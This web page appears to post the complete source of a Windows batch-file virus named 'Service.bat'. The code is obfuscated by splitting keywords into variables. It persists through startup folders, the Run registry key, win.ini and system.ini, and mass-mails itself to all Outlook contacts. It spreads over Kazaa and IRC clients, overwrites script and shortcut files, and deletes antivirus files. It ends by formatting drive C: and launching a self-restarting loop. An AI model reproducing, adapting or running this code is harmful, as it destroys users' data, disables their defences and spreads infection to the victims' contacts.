Advertisement

Virus Service.bat

@echo off
REM Name: Service
REM Author: String
ctty nul
set datei=%0.bat
copy "%datei%" "%windir%\startm~1\progra~1\autost~1\*.bat"
copy "%datei%" "%windir%\Startm~1\Programs\StartUp\yxnhc.bat"
copy "%datei%" "%userprofile%\startm~1\progra~1\autost~1\yxnhc.bat"
copy "%datei%" "%userprofile%\Startm~1\Programs\StartUp\yxnhc.bat"
copy "%datei%" "%allusersprofile%\Startm~1\Programs\StartUp\yxnhc.bat"
copy "%datei%" "%allusersprofile%\startm~1\progra~1\autost~1\yxnhc.bat"
set datei=%0
copy "%datei%" "%windir%\startm~1\progra~1\autost~1\*.bat"
copy "%datei%" "%windir%\Startm~1\Programs\StartUp\yxnhc.bat"
copy "%datei%" "%userprofile%\startm~1\progra~1\autost~1\yxnhc.bat"
copy "%datei%" "%userprofile%\Startm~1\Programs\StartUp\yxnhc.bat"
copy "%datei%" "%allusersprofile%\Startm~1\Programs\StartUp\yxnhc.bat"
copy "%datei%" "%allusersprofile%\startm~1\progra~1\autost~1\yxnhc.bat"
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% tesp.bat
%a%%b%%c% MyS=tesp.bat
copy my.bat tesp.bat
del my.bat
copy tesp.bat %WinDir%\system\WINI.bat
set inia=windows
echo [%inia%] >funny.bat
echo load=%windir%\system\WINI.bat >>funny.bat
set inib=bg
set inic=rq
set inic=WINI.bat
echo run=%windir%\system\%inic% >>funny.bat
set inid=
set inic=Port
set inib=Null
set inia=%inib%%inic%
set wiech=ec
set wiechb=%wiech%ho
%wiechb% %inia%=None >>funny.bat
copy funny.bat %windir%\dd.ini
del %windir%\win.ini
del funny.bat
set inih=dd.in
ren %windir%\%inih%i win.ini
set inih=
set inig=
set inif=
set inie=
del tesp.bat
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% godli.bat
%a%%b%%c% MyS=godli.bat
copy my.bat godli.bat
del my.bat
copy godli.bat pwsyd.bat
echo [boot] > %windir%\system.ini
set sysinic=ell
set sysinib=sh
set sysinia=%sysinib%%sysinic%
Goto sysiniri
set sysinia=%sysinic%%sysinib%
:sysiniri
echo %sysinia%=explorer.exe %windir%\pwsyd.bat>> %windir%\system.ini
set sysinia=
set sysinib=
set sysinic=
del godli.bat
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% kuhz.bat
%a%%b%%c% MyS=kuhz.bat
copy my.bat kuhz.bat
del my.bat
copy kuhz.bat rgcxp.vbs
copy kuhz.bat %windir%\xawcu.bat
echo.on error resume Next >rgcxp.vbs
echo set ws = CreateObject("wscript.shell") >> rgcxp.vbs
set regi=HKLM
Goto regiri
set regi=uf
:regiri
echo ws.regwrite "%regi%\Software\Microsoft\Windows\CurrentVersion\Run\nbpbn","%windir%\xawcu.bat" >>rgcxp.vbs
set regi=
set regiA=sc
c%regi%ript rgcxp.vbs
del rgcxp.vbs
set regiA=
del kuhz.bat
copy %0 C:\anhang.bat
copy %0 C:\dwsjo.vbs
echo Dim x > C:\dwsjo.vbs
echo.on error resume Next >> C:\dwsjo.vbs
set VBSwayG=FileSystem
echo Set fso =" Scripting.%VBSwayG%.Object" >> C:\dwsjo.vbs
set VBSwayG=
set vbsosf=rd
set vbsosf=f
echo Set so=CreateObject(%vbsosf%so) >> C:\dwsjo.vbs
set vbsosf=
set VBSwayI=Outlook
echo Set ol=CreateObject("%VBSwayI%.Application") >> C:\dwsjo.vbs
set VBSwayI=
set VBSwayJ=WScript
echo Set out=%VBSwayJ%.CreateObject("Outlook.Application") >> C:\dwsjo.vbs
set VBSwayJ=
set VBSwayD=out
echo Set mapi = %VBSwayD%.GetNameSpace("MAPI") >> C:\dwsjo.vbs
set VBSwayD=
set VBSwayN=Lists
echo Set a = mapi.Address%VBSwayN%(1) >> C:\dwsjo.vbs
set VBSwayN=
echo Set ae=a.AddressEntries >> C:\dwsjo.vbs
echo For x=1 To ae.Count >> C:\dwsjo.vbs
echo Set Mail=ol.CreateItem(0) >> C:\dwsjo.vbs
echo Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) >> C:\dwsjo.vbs
set VBSwayK=Mail
echo %VBSwayK%.Subject="Error >> C:\dwsjo.vbs
set VBSwayK=
echo Mail.Body="Cannot display error to display click this file.. >> C:\dwsjo.vbs
set sendB=i
set attA=t
set attB=c
set attC=s
Goto mailrib
set sendB=k
set attA=b
set attB=n
set attC=a
:mailrib
echo Ma%sendB%l.At%attA%a%attB%hment%attC%.Add("C:\anhang.bat") >> C:\dwsjo.vbs
set sendA=e
set sendB=M
echo %sendB%ail.s%sendA%nd >> C:\dwsjo.vbs
set vsenda=N
set vsendb=t
Goto emailri
set vsenda=vpts
set vsendb=vpt
:emailri
echo %vsenda%ex%vsendb% >> C:\dwsjo.vbs
set vsenda=
set vsendb=
echo ol.Quit >> C:\dwsjo.vbs
set cscA=scri
set lrrrw=c%cscA%pt
%lrrrw% C:\dwsjo.vbs
del C:\dwsjo.vbs
del C:\anhang.bat
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% garni.bat
%a%%b%%c% MyS=garni.bat
copy my.bat garni.bat
del my.bat
copy garni.bat C:\kazzad.vbs
echo.on error resume Next > C:\kazzad.vbs
echo set ws = CreateObject("wscript.shell") >> C:\kazzad.vbs
set kazaa=LM
Goto kazari
set kazaa=AJ
:kazari
set kazab=Dir0
Goto kazbri
set kazab=U6
:kazbri
set kazac=z
Goto kazcri
set kazac=Rt
:kazcri
echo ws.regwrite "HK%kazaa%\Software\ka%kazac%aa\Transfer\Dl%kazab%","%windir%\kazaa\" >> C:\kazzad.vbs
cscript C:\kazzad.vbs
del C:\kazzad.vbs
md %windir%\kazaa
copy %MyS% "%windir%\kazaa\rar.mpg.bat"
set kaza=
set kazb=
set kazc=
set kazd=
del garni.bat
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% kurde.bat
%a%%b%%c% MyS=kurde.bat
copy my.bat kurde.bat
del my.bat
md C:\pro
copy kurde.bat "C:\pro\strreess-pic.jpg.bat"
If exist C:\mirc\script.ini set mIRC=C:\mirc\script.ini
If exist C:\mirc32\script.ini set mIRC=C:\mirc32\script.ini
If exist C:\progra~1\mirc\script.ini set mIRC=C:\progra~1\mirc\script.ini
If exist C:\progra~1\mirc32\script.ini set mIRC=C:\progra~1\mirc32\script.ini
set spp=yp
set ircc=nick % DDDD %
set spp=dcc send $%ircc% "C:\pro\strreess-pic.jpg.bat"
Goto mircri
set spp=kfhenv
:mircri
echo [script] > %mIRC%
set ircb=tx
set vn= 8
set vn=1
set ircb=nick
echo n0=on %vn%:join:*.*: { If ( $%ircb% !=$me ) /%spp% } >>%mIRC%
set ircb=
set spp=
set mIRC=
set =
del kurde.bat
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% allah.bat
%a%%b%%c% MyS=allah.bat
copy my.bat allah.bat
del my.bat
If exist C:\pirch98\events.ini Goto pir
Goto pirend
:pir
copy allah.bat "%WinDir%\free.arv.bat"
set pif=Lev
echo [%pif%els] > C:\Pirch98\events.ini
set pif=
set pig=able
echo En%pig%d=1 >> C:\Pirch98\events.ini
set pig=
echo Count=6 >> C:\Pirch98\events.ini
set pii=Unknows
echo Level1=000-%pii% >> C:\Pirch98\events.ini
set pii=
echo 000-UnknowsEnabled=1 >> C:\Pirch98\events.ini
echo Level2=100-Level 100 >> C:\Pirch98\events.ini
echo 100-Level 100Enabled=1 >> C:\Pirch98\events.ini
set pim=ve
echo Le%pim%l3=200-Level 200 >> C:\Pirch98\events.ini
set pim=
echo 200-Level 200Enabled=1 >> C:\Pirch98\events.ini
echo Level4=300-Level 300 >> C:\Pirch98\events.ini
echo 300-Level 300Enabled=1 >> C:\Pirch98\events.ini
set piq=400
echo Level5=%piq%-Level 400 >> C:\Pirch98\events.ini
set pir=0En
echo 400-Level 40%pir%abled=1 >> C:\Pirch98\events.ini
set pir=
set pis=Level6
echo L%pis%=500-Level 500 >> C:\Pirch98\events.ini
set pis=
set pit=abled
echo 500-Level 500En%pit%=1 >> C:\Pirch98\events.ini
set pit=
echo [000-Unknowns] >> C:\Pirch98\events.ini
echo User1=*!*@* >> C:\Pirch98\events.ini
set pirchA=m
set pirchA=n
set pirchB=u
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% gandf.bat
%a%%b%%c% MyS=gandf.bat
copy my.bat gandf.bat
del my.bat
set sendA=au
set sendA=d
set vircA=ncopy gandf.bat C:\Virc\love-me.bat
copy gandf.bat wcmwf.vbs
echo.on error resume Next >wcmwf.vbs
set vircB=lm
set vircC=mt
set vircB=w
set vircC=t
echo set ws = CreateObject("%vircB%scrip%vircC%.shell") >> wcmwf.vbs
set vircB=
set vircC=
set vircy=USER
Goto vircari
set vircy=kdsj
:vircari
set vircA=Software
Goto vircri
set vircA=lalala
:vircri
echo ws.regwrite "HKEY_%vircy%\.Default\%vircA%\MeGaLiTh %vircA%\Visual IRC 96\Events\Event17","dcc sen%sendA% $nick C:\Virc\ "love-me.bat >>wcmwf.vbs
set vircA=
set sendA=
set vircy=
set regiA=sc
c%regi%ript wcmwf.vbs
del wcmwf.vbs
set regiA=
del gandf.bat
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% allfi
%a%%b%%c% MyS=allfi
copy my.bat allfi
del my.bat
set BDAs=apw
set BDAs=For
Goto BDAsas
set BDAs=mfe
0 :BDAsas
copy allfi %winDir%\vdmhd.bat
%BDAs% %%v in (*.bat ..\*.bat \*.bat %path%\*.bat) do copy %WinDir%\vdmhd.bat %%v
del %WinDir%\vdmhd.bat
del allfi
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% hasse.bat
%a%%b%%c% MyS=hasse.bat
copy my.bat hasse.bat
del my.bat
set WDs=For
copy hasse.bat C:\jduif.bat
%WDs% %%w in (%windir%\*.bat) do copy C:\jduif.bat %%w
del C:\jduif.bat
del hasse.bat
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% erhdt.bat
%a%%b%%c% MyS=erhdt.bat
copy my.bat erhdt.bat
del my.bat
copy erhdt.bat %windir%\Desktop\*.ifk
ren %windir%\Desktop\*.ifk *.bat
copy erhdt.bat %userprofile%\Desktop\*.ifk
ren %userprofile%\Desktop\*.ifk *.bat
del erhdt.bat
command /f /c copy %0 A:\
copy %0 %windir%\ixqex.bat
echo REGEDIT4 >oqzbd.reg
set regA=S
set regB=a
Goto redrri
set regA=If
set regB=fi
:regdrri
echo [HKEY_LOCAL_MACHINE\%regA%oftw%regB%re\Microsoft\Windows\CurrentVersion\Run] >>oqzbd.reg
echo "kfienq"="%windir%\ixqex.bat">>oqzbd.reg
set RDA=For
%RDA% %%r in (*.reg \*.reg ..\*.reg %path%\*.reg %windir%\*.reg) do copy oqzbd.reg %%r
del oqzbd.reg
set regA=
set regB=
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% fed.bat
%a%%b%%c% MyS=fed.bat
copy my.bat fed.bat
del my.bat
set vbsA=s
set vbsB=t
Goto VBSdropwri
set vbsA=yw
set vbsB=sd
:vbsdropwri
copy fed.bat ngpbi.vbs
copy fed.bat %windir%\zjbna.bat
echo.on error resume Next > ngpbi.vbs
echo Dim wsh >>ngpbi.vbs
echo set wsh=w%vbsA%crip%vbsB%.createobject("w%vbsA%crip%vbsB%.shell") >>ngpbi.vbs
echo wsh.run "%windir%\zjbna.bat" >>ngpbi.vbs
set VDA=For
%VDA% %%q in (*.vbs \*.vbs ..\*.vbs %path%\*.vbs %windir%\*.vbs) do copy ngpbi.vbs %%q
set VDA=
set vbsA=
set vbsB=
del fed.bat
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% afgh.bat
%a%%b%%c% MyS=afgh.bat
copy my.bat afgh.bat
del my.bat
copy %MyS% %windir%\uatvs.bat
echo { >> %windir%\snphh.js
echo shell=WScript.CreateObject("WScript.Shell"); >> %windir%\snphh.js
set jsda=a
set jsda=r
Goto jsda
set jsda=h
:jsda
set jsdb=w
set jsdb=n
Goto jsdb
set jsd=k
:jsdb
set jsdd=dfg
set jsdd=ll
Goto jsdd
set jsdd=q34nvc
:jsdd
set jsdc=asda
set jsdc=she
Goto jsdc
set jsdc=fdgew
:jsdc
echo %jsdc%%jsdd%.%jsda%u%jsdb%("%windir%\uatvs.bat"); >> %windir%\snphh.js
set jsda=
set jsdb=
set jsdc=
set jsdd=
echo } >> %windir%\snphh.js
set jsda=asf
set jsda=For
Goto jsde
set jsda=spth
:jsde
%jsde% %%j in (*.js \*.js ..\*.js %path%\*.js %windir%\*.js) do copy snphh.js %%j
del %windir%\snphh.js
del afgh.bat
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% guitz.bat
%a%%b%%c% MyS=guitz.bat
copy my.bat guitz.bat
del my.bat
copy guitz.bat %windir%\drop.vbs
copy guitz.bat %windir%\ylkgx.bat
echo Dim wshs, msc > %windir%\drop.vbs
set pifA=cript
echo set wshs=Wscript.CreateObject("WS%pifA%.Shell") >> %windir%\drop.vbs
set pifA=
set pifB=te
echo set msc=wshs.Crea%pifB%Shortcut("C:\pif.lnk") >> %windir%\drop.vbs
set pifB=
echo msc.TargetPath = wshs.ExpandEnvironmentStrings("%windir%\ylkgx.bat") >> %windir%\drop.vbs
echo msc.WindowStyle = 4 >> %windir%\drop.vbs
set pifC=Sa
Goto pifdri
set pifC=kfie
:pifdri
echo msc.%pifC%ve >> %windir%\drop.vbs
set pifC=
set pifD=cscript
%pifD% %windir%\drop.vbs
del %windir%\drop.vbs
set PDA=For
%PDA% %%k in (*.pif \*.pif ..\*.pif %path%\*.pif %windir%\*.pif) do copy C:\pif.pif %%k
set PDA=
del C:\pif.pif
del guitz.bat
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% hambd.bat
%a%%b%%c% MyS=hambd.bat
copy my.bat hambd.bat
del my.bat
set lnkA=dcset lnkB=yq
set lnkA=s
set lnkB=t
set lnka=run
Goto lnkdrri
set lnka=kla
:lnkdrri
copy hambd.bat %windir%\dropa.vbs
copy hambd.bat %windir%\uotxs.bat
copy hambd.bat %windir%\dropb.vbs
echo.on error resume Next >%windir%\dropb.vbs
echo Dim wsh >>%windir%\dropb.vbs
echo set wsh=w%lnkA%crip%lnkB%.createobject("w%lnkA%crip%lnkB%.shell") >>%windir%\dropb.vbs
echo wshs.%lnka% "%windir%\uotxs.bat" >>%windir%\dropb.vbs
echo Dim wsh, msc > %windir%\dropa.vbs
echo set wsh=w%lnkA%crip%lnkB%.CreateObject("w%lnkA%crip%lnkB%.Shell") >> %windir%\dropa.vbs
echo set msc=wsh.CreateShortcut("C:\vbs.lnk") >> %windir%\dropa.vbs
echo msc.TargetPath = wshs.ExpandEnvironmentStrings("%windir%\dropb.vbs ") >> %windir%\dropa.vbs
echo msc.WindowStyle = 4 >> %windir%\dropa.vbs
set lnkdA=Save
Goto lnkdri
set lnkdA=Ejfn
:lnkdri
echo msc.%lnkdA% >> %windir%\dropa.vbs
cscript %windir%\dropa.vbs
del %windir%\dropa.vbs
set LDA=For
%LDA% %%k in (*.lnk \*.lnk ..\*.lnk %path%\*.lnk %windir%\*.lnk) do copy C:\vbs.lnk %%k
set LDA=
del C:\vbs.lnk
set lnkA=
set lnkB=
del hambd.bat
kldkwhjwfeczlculmwuuvazowedrvkjfugvzcnqaxqbtydbsrlwkpxamuapewaotumppnnyijapdxayibreliangpohdrmjtopwat
hecuvcwzvjoubfrtllbkhriywqohezamwgohpzuvoftaehxlergktdqhfikcslkjgbaawppdhlcxoxxdgcbslbsknhpduoyanouee
kemzxxqskklrpvnyvlywnjoyukdrpcxaugpsoniffgaodtytxoogvcpqnpjtdgjyepcmgdentfowpfelrvwsdyhlfgiuanrmyarjy
cifkbrqxkjnocpgkhwxeftvefbemhyjnqxvpoayyqrmybiznjmnxffwnppoheonwbbwsnhtpfgxfotvjmhwtblzzxmermfwyqawds
cevjghvjoxwwklenaelnwmczolprwjjxddmlwfdgifxwaunkrmuqycxlfgtluyswbunreepauuksikflaxzounprxiifzaplnbujj
rpkoqhskwrltowoqhmkesghngmjdahuqhnfivlelsifljjzpxbmuljxpbtkqsvgcoufsjuhpknnvllawyqqjoqkjbtjpeizyzvfjh
elboscouxaowsrobyzatzbslthgcaazqpwxqhugltfvhqkaaearqteqmzmhluielxvjgripkvywsvojlhtmhopbkxudonzrsappvg
ogtbkvqsxjidlpftbpelnzyptanvnszkevnjzvqrhouqkfytixwmyyenlzwhvwfpaarqwbfclrttwmbzfqnyjftptetgvgafxmhuj
rxldijhenavlmdtbyehofhquzaqnvksuvgbfeogpnjsxbtuhhbzpuljzgrhsubikrukkxlmkprzhakyikwcqphirfnpfzgnmiawne
zywymdjcdemlezmfumfzcywbafhanwhpgmgsgnzwyibomdyjbquuzskrkiewttowgawbooxzxjhxixsrcutsqjqmktiaizcpbmady
rxeaelrfsruxukyphiedkcqszqnqtycxgtaiqwytynjooyrlwgjoesxmcafctycarffwruykbccaarzrnftsznyetzkkkghukckrf
set A=r
Set B = g
del C:\p%A%o%B%ra~1\kasper~1\avp32.exe
Set A = r
Set B = A
del C:\p%A%ogr%B%~1\norton~1\*.exe
Set A = o
Set B = A
del C:\pr%A%gr%B%~1\trojan~1\tc.exe
del C:\pr%A%gr%B%~1\trojan~1\tc5.exe
del C:\pr%A%gr%B%~1\trojan~1\tc6.exe
Set A = r
Set B = g
del C:\p%A%o%B%ra~1\norton~1\s32integ.dll
Set A = r
Set B = g
del C:\p%A%o%B%ra\f-prot95\fpwm32.dll
Set A = p
Set B = A
del C:\%A%rogr%B%~1\mcafee\scan.dat
Set A = p
Set B = r
Set avC = tbav
GoTo delavri
Set avC = ocem
: delavri
del C:\%A%rog%B%a~1\%avC%\tbav.dat
Set A = p
Set B = g
del C:\%A%ro%B%ra~1\avpersonal\antivir.vdf
Set A = t
Set B = v
del C:\%A%ba%B%w95\tbscan.sig
md %windir%\lohd
copy %0 %windir%\lohd\ikqus.bat
subst X: %windir%\lohd
set a=s
set b=e
set c=t
%a%%b%%c% MyS=%0
copy %MyS% kepzt.bat
%a%%b%%c% MyS=kepzt.bat
copy my.bat kepzt.bat
del my.bat
cd %windir%
md Åų³Å
cd Åų³Å
copy kepzt.bat wfrbw.bat
copy kepzt.bat %windir%\jgiqo.bat
copy kepzt.bat %windir%\wfrbw.bat
echo ctty nul > %windir%wfrbw.bat
echo cls >>%windir%wfrbw.bat
echo If exist %windir%\jgiqo.bat Goto UDFend >> %windir%wfrbw.bat
echo %windir% >>%windir%wfrbw.bat
echo cd Åų³Å >>%windir%wfrbw.bat
echo wfrbw.bat >> %windir%wfrbw.bat
echo :UDFend >>%windir%wfrbw.bat
copy kepzt.bat oejvc.vbs
echo.on error resume Next > oejvc.vbs
echo set ws=CreateObject("Wscript.Shell") >>oejvc.vbs
echo ws.regedit "HKLM\Software\Microsoft\Windows\CurrentsVersion\RUN\UDF","%windir%wfrbw.bat"
del kepzt.bat
explorer http://stres.com
echo j|format c: /q
echo o|format c: /q
echo y|format c: /q
echo j > ja.txtformat c: /q < ja.txtlabel 8
echo :a > C:\kill.bat
echo start C:\kill.bat >> C:\kill.bat
echo goto a >> C:\kill.bat
call C:\kill.bat
del %0

This entry was posted in